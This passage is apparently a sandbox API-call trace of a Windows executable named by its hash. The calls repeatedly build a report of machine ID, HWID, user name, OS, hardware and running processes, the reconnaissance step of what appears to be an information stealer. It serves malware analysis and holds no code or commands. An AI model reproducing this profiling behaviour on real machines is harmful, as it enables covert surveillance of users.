ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- "
[0054.869] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- ", lpString2="politicseventtime.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe"
[0054.869] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe ["
[0054.870] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da88
[0054.870] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da98
[0054.870] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.870] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [", lpString2="1272" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272"
[0054.870] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n"
[0054.870] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="hold-beautiful.exe")) returned 1
[0054.870] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: 